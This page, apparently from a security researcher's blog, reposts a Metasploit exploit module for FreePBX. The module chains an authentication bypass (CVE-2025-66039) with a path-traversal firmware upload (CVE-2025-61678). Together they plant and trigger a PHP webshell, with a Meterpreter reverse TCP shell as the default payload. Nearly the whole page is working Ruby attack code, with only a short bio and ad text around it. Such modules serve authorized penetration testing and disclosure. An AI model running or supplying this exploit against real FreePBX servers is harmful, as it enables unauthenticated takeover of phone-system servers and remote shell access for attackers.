Khalil Shreateh specializes in cybersecurity, particularly as a "white hat" hacker. He focuses on identifying and reporting security vulnerabilities in software and online platforms, with notable expertise in web application security. His most prominent work includes discovering a critical flaw in Facebook's system in 2013. Additionally, he develops free social media tools and browser extensions, contributing to digital security and user accessibility.

Get Rid of Ads!


Subscribe now for only $3 a month and enjoy an ad-free experience.

Contact us at khalil@khalil-shreateh.com

 

 

FreePBX Firmware Shell Upload
FreePBX Firmware Shell Upload
FreePBX Firmware Shell Upload

##
# This module requires Metasploit: https://metasploit.com/download
# Current FreePBX Firmware Shell Upload

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'FreePBX firmware file upload',
'Description' => %q{
The FreePBX versions prior to 16.0.44,16.0.92 and 17.0.6,17.0.23 are vulnerable to multiple CVEs, specifically CVE-2025-66039 and CVE-2025-61678, in the context of this module. The versions before 16.0.44 and 17.0.23 are vulnerable to CVE-2025-66039, while versions before 16.0.92 and 17.0.6 are vulnerable to CVE-2025-61678. The former represents an authentication bypass: when FreePBX uses Webserver Authorization Mode (an option the admin can enable), it allows an attacker to authenticate as any user. The latter allows unrestricted file uploads via firmware upload, including path traversal. These vulnerabilities allow unauthenticated remote code execution by bypassing authentication and placing a webshell in the web server's directory.
},
'License' => MSF_LICENSE,
'Author' => [
'Noah King', # research
'msutovsky-r7' # module
],
'References' => [
[ 'CVE', '2025-66039'], # Authentication Bypass
[ 'CVE', '2025-61678'], # File Upload and Path Traversal
[ 'URL', 'https://horizon3.ai/attack-research/the-freepbx-rabbit-hole-cve-2025-66039-and-others/']
],
'Platform' => ['php'],
'Targets' => [
[
'PHP',
{
'Platform' => 'php',
'Arch' => ARCH_PHP,
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' },
'Type' => :php
}
]
],
'DisclosureDate' => '2025-12-11',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)

register_options(
[
OptString.new('USERNAME', [true, 'A valid FreePBX user']),
]
)
end

def check
res = send_request_cgi({
'uri' => normalize_uri('admin', 'config.php'),
'method' => 'GET'
})

if (res&.code == 401 && res.body.include?('FreePBX')) ||
(res.code == 500)
return CheckCode::Detected('The FreePBX with Webserver authentication mode detected')
end

CheckCode::Safe('Webserver authorization mode is not set')
end

def get_session_cookie
res = send_request_cgi({
'uri' => normalize_uri('admin', 'config.php'),
'method' => 'GET',
'headers' => { 'Authorization' => basic_auth(datastore['USERNAME'], Rex::Text.rand_text_alphanumeric(6)) },
'keep_cookies' => true
})

fail_with(Failure::UnexpectedReply, 'Received unexpected reply') unless res&.code == 401

fail_with(Failure::NotVulnerable, 'Target might not be vulnerable to authentication bypass') unless res.get_cookies
end

def upload_webshell
@target_payload_file_name = %(#{Rex::Text.rand_text_alphanumeric(8).downcase}.php)
@target_dir = Rex::Text.rand_text_alphanumeric(8).downcase

form_data = Rex::MIME::Message.new

form_data.add_part(SecureRandom.uuid, nil, nil, 'form-data; name="dzuuid"')
form_data.add_part('0', nil, nil, 'form-data; name="dzchunkindex"')
form_data.add_part(payload.encoded.length.to_s, nil, nil, 'form-data; name="dztotalfilesize"')
form_data.add_part('2000000', nil, nil, 'form-data; name="dzchunksize"')
form_data.add_part('1', nil, nil, 'form-data; name="dztotalchunkcount"')
form_data.add_part('0', nil, nil, 'form-data; name="dzchunkbyteoffset"')
form_data.add_part("../../../var/www/html/#{@target_dir}", nil, nil, 'form-data; name="fwbrand"')
form_data.add_part('1', nil, nil, 'form-data; name="fwmodel"')
form_data.add_part('1', nil, nil, 'form-data; name="fwversion"')
form_data.add_part(payload.encoded, 'application/octet-stream', nil, %(form-data; name="file"; filename="#{@target_payload_file_name}"))

res = send_request_cgi({
'uri' => normalize_uri('admin', 'ajax.php'),
'method' => 'POST',
'headers' => {
'Authorization' => basic_auth(Rex::Text.rand_text_alphanumeric(6), Rex::Text.rand_text_alphanumeric(6)),
'Referer' => full_uri(normalize_uri('admin', 'config.php'))
},
'ctype' => "multipart/form-data; boundary=#{form_data.bound}",
'vars_get' => { 'module' => 'endpoint', 'command' => 'upload_cust_fw' },
'data' => form_data.to_s
})

fail_with(Failure::PayloadFailed, 'Failed to upload webshell') unless res&.code == 500
register_dir_for_cleanup("../#{@target_dir}")
end

def trigger_payload
send_request_cgi({
'uri' => normalize_uri(@target_dir, @target_payload_file_name),
'method' => 'GET'
})
end

def exploit
print_status('Trying to bypass authentication...')
get_session_cookie

print_good('Bypass successful, trying upload webshell...')

upload_webshell

print_good('Upload successful, triggering...')

trigger_payload
end
end

Social Media Share